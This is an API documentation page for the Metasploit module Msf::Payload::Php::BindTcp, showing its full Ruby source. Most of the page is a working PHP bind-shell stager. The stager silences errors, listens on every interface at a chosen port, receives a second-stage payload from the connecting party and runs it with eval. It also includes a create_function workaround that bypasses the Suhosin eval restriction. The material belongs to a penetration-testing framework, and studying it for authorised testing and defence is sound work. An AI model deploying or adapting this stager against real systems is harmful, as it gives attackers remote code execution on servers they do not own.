Module: Msf::Payload::Php::BindTcp

Includes:
Msf::Payload::Php, SendUUID
Defined in:
lib/msf/core/payload/php/bind_tcp.rb

Overview

Complex bind_tcp payload generation for PHP

Instance Method Summary collapse

Methods included from SendUUID

#php_send_uuid

Methods included from Msf::Payload::Php

#php_preamble, #php_system_block

Instance Method Details

#generate(_opts = {}) ⇒ Object

Generate the first stage



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# File 'lib/msf/core/payload/php/bind_tcp.rb', line 20

def generate(_opts = {})
  conf = {
    port: datastore['LPORT']
  }

  php = super + generate_bind_tcp(conf)
  php.gsub!(/#.*$/, '')
  Rex::Text.compress(php)
end

#generate_bind_tcp(opts = {}) ⇒ Object 



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# File 'lib/msf/core/payload/php/bind_tcp.rb', line 46

def generate_bind_tcp(opts={})
  ipf = 'AF_INET'
  ip = '0.0.0.0'
  if use_ipv6
    ipf << "6"
    ip = '[::]'
  end

  php = %Q^/*<?php /**/
error_reporting(0);
$ip = '#{ip}';
$port = #{opts[:port]};

if (is_callable('stream_socket_server')) {
	$srvsock = stream_socket_server("tcp://{$ip}:{$port}");
	if (!$srvsock) { die(); }
	$s = stream_socket_accept($srvsock, -1);
	fclose($srvsock);
	$s_type = 'stream';
} elseif (is_callable('socket_create_listen')) {
	$srvsock = socket_create_listen(#{ipf}, SOCK_STREAM, SOL_TCP);
	if (!$res) { die(); }
	$s = socket_accept($srvsock);
	socket_close($srvsock);
	$s_type = 'socket';
} elseif (is_callable('socket_create')) {
	$srvsock = socket_create(#{ipf}, SOCK_STREAM, SOL_TCP);
	$res = socket_bind($srvsock, $ip, $port);
	if (!$res) { die(); }
	$s = socket_accept($srvsock);
	socket_close($srvsock);
	$s_type = 'socket';
} else {
	die();
}
if (!$s) { die(); }
^

  php << php_send_uuid if include_send_uuid

  php << %Q^switch ($s_type) {
case 'stream': $len = fread($s, 4); break;
case 'socket': $len = socket_read($s, 4); break;
}
if (!$len) {
	# We failed on the main socket.  There's no way to continue, so
	# bail
	die();
}
$a = unpack("Nlen", $len);
$len = $a['len'];

$b = '';
while (strlen($b) < $len) {
	switch ($s_type) {
	case 'stream': $b .= fread($s, $len-strlen($b)); break;
	case 'socket': $b .= socket_read($s, $len-strlen($b)); break;
	}
}

# Set up the socket for the main stage to use.
$GLOBALS['msgsock'] = $s;
$GLOBALS['msgsock_type'] = $s_type;
if (extension_loaded('suhosin') && ini_get('suhosin.executor.disable_eval'))
{
$suhosin_bypass=create_function('', $b);
$suhosin_bypass();
}
else
{
eval($b);
}
die();^
end

#handle_intermediate_stage(conn, payload) ⇒ Object 



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# File 'lib/msf/core/payload/php/bind_tcp.rb', line 121

def handle_intermediate_stage(conn, payload)
  conn.put([payload.length].pack("N"))
end

#include_send_uuid ⇒ Object

By default, we don’t want to send the UUID, but we’ll send for certain payloads if requested.



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# File 'lib/msf/core/payload/php/bind_tcp.rb', line 34

def include_send_uuid
  false
end

#transport_config(opts = {}) ⇒ Object 



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# File 'lib/msf/core/payload/php/bind_tcp.rb', line 42

def transport_config(opts={})
  transport_config_bind_tcp(opts)
end

#use_ipv6 ⇒ Object 



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# File 'lib/msf/core/payload/php/bind_tcp.rb', line 38

def use_ipv6
  false
end